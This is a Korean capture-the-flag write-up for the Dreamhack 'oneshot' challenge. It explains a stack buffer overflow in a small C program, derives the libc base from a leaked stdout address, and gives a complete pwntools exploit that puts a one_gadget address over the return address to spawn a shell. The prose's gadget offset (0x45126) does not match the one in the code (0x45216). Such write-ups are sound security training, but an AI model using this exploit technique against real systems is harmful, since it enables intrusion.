드림핵 oneshot 문제 풀이
문제 풀이 환경 : 구름ide
1. 문제 파일 다운, 환경 분석
먼저 chmod +x oneshot
으로 다운 받은 파일에 실행 권한을 부여해줬다.
문제 풀이 환경은 문제에 제시되어 있다.
envrionment
Ubuntu 16.04
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
canary는 적용되어 있지 않고 Partial RELRO, NX, PIE가 적용되어 있음을 알 수 있다.
또, 우분투 16.04 환경이었는데 구름 ide에서는 docker file 실행이 안 되기 때문에 설정이 까다로워서
로컬에서 시도하지 않고 바로 서버에 익스플로잇을 시도했다.
2. 코드, 취약점 분석
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout); //표준출력인 stdout의 주소 출력
printf("MSG: ");
read(0, msg, 46); //msg의 크기(16바이트)보다 큰 입력(46바이트)을 msg에 받음
if(check > 0) { //check가 0이 아니라면 프로그램 종료
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg)); //msg를 0으로 초기화
return 0;
}
stdout의 주소가 출력되기 때문에 stdout의 주소에서 stdout의 offset을 빼주면 libc base 주소를 구할 수 있을 것 같다.
msg보다 큰 입력을 받기 때문에 버퍼 오버 플로우로 return adress에 one gadget을 넣어줄 수 있을 것 같다.
주의할 점은 부호 없는 정수 형으로 선언된 check가 0보다 크면 프로그램이 종료되기 때문에 check의 값을 0으로 유지해야 된다는 점이다.
3. 스택 프레임 분석
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000000a41 <+0>: push rbp
0x0000000000000a42 <+1>: mov rbp,rsp
0x0000000000000a45 <+4>: sub rsp,0x30
0x0000000000000a49 <+8>: mov DWORD PTR [rbp-0x24],edi
0x0000000000000a4c <+11>: mov QWORD PTR [rbp-0x30],rsi
0x0000000000000a50 <+15>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000000a58 <+23>: mov eax,0x0
0x0000000000000a5d <+28>: call 0x9da <initialize>
0x0000000000000a62 <+33>: mov rax,QWORD PTR [rip+0x200567] # 0x200fd0
0x0000000000000a69 <+40>: mov rax,QWORD PTR [rax]
0x0000000000000a6c <+43>: mov rsi,rax
0x0000000000000a6f <+46>: lea rdi,[rip+0x107] # 0xb7d
0x0000000000000a76 <+53>: mov eax,0x0
0x0000000000000a7b <+58>: call 0x800 <printf@plt>
0x0000000000000a80 <+63>: lea rdi,[rip+0x102] # 0xb89
0x0000000000000a87 <+70>: mov eax,0x0
0x0000000000000a8c <+75>: call 0x800 <printf@plt>
0x0000000000000a91 <+80>: lea rax,[rbp-0x20]
0x0000000000000a95 <+84>: mov edx,0x2e
0x0000000000000a9a <+89>: mov rsi,rax
0x0000000000000a9d <+92>: mov edi,0x0
0x0000000000000aa2 <+97>: call 0x830 <read@plt>
0x0000000000000aa7 <+102>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000000aac <+107>: je 0xab8 <main+119>
0x0000000000000aae <+109>: mov edi,0x0
0x0000000000000ab3 <+114>: call 0x870 <exit@plt>
main+11에서 rbp-0x8
에 0x0을 넣어주고 있으므로 check의 위치가 rbp-0x8
임을 예상할 수 있고,
read 실행 후 if문에 해당하는 main+102를 보아도 rbp-0x8
을 cmp 함수에 인자로 전달하는 것을 보면 주소가 rbp-0x8
임을 확실하게 알 수 있다.
read(0, msg, 46) 함수의 실행 전에 rbp-0x20
을 인자로 전달하고 있으므로 msg의 주소가 rbp-0x20
임을 알 수 있다.
위의 정보로 스택 프레임을 예상해보면
------------ rbp-0x20
msg
------------ rbp-0x10
------------ rbp-0x8
check
------------ rbp
sfp(0x8)
------------
return
adress
------------
의 형태임을 예상할 수 있다.
그렇다면 우리는 sfp까지의 버퍼를 덮어서 return adress에 one gadget을 넣어주면 된다.
4. stdout offset 구하기
$ readelf -s ./libc.so.6 | grep 'stdout'
803: 00000000003c5620 224 OBJECT GLOBAL DEFAULT 33 _IO_2_1_stdout_@@GLIBC_2.2.5
1043: 00000000003c5708 8 OBJECT GLOBAL DEFAULT 33 stdout@@GLIBC_2.2.5
stdout의 offset을 구할 때 주의할 점이 있다.
라이브러리에 stdout과 관련된 offset 중 실제 stdout의 offset은 stdout이 아니라 _IO_2_1_stdout_이라는 점을 알아야 된다.
pwntools로 익스플로잇 코드를 짤 때 유의하자.
5. one gadget 찾기
$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
위의 one gadget 중 0x45126
의 가젯을 활용할 거다.
보통 프로그램이 종료되면 rax가 0으로 초기화 되기 때문에 제약 조건을 만족할 것이라고 예상할 수 있다.
다른 one gadget 제약 조건의 경우 만족하는지 예상하기 힘들다.
6. 코드 작성
from pwn import *
context.arch = 'amd64'
p = remote('host3.dreamhack.games', 14019)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
p.recvuntil('stdout: ')
stdout_addr = int(p.recvn(14), 16) #형식 지정자가 %s가 아니라 %p이기 때문에 stdout의 주소를 글자수(14)만큼 받아와야 된다.
lb = stdout_addr - libc.symbols['_IO_2_1_stdout_'] #stdout의 주소에서 offset 빼서 libc base 구하기
og = lb + 0x45216 #one gadget 주소 구하기
print(hex(og))
payload = b'\x00'*(0x20-0x8) #msg 덮고
payload += b'\x00'*8 #check 덮고
payload += b'\x00'*8 #sfp를 덮엎다. (check만 \x00으로 덮어줘도 되긴 함)
payload += p64(og) # return adress에 one gadget 주소 넣어주기
p.sendafter("MSG: ", payload)
p.interactive()
위와 같은 코드로 쉘을 획득했다.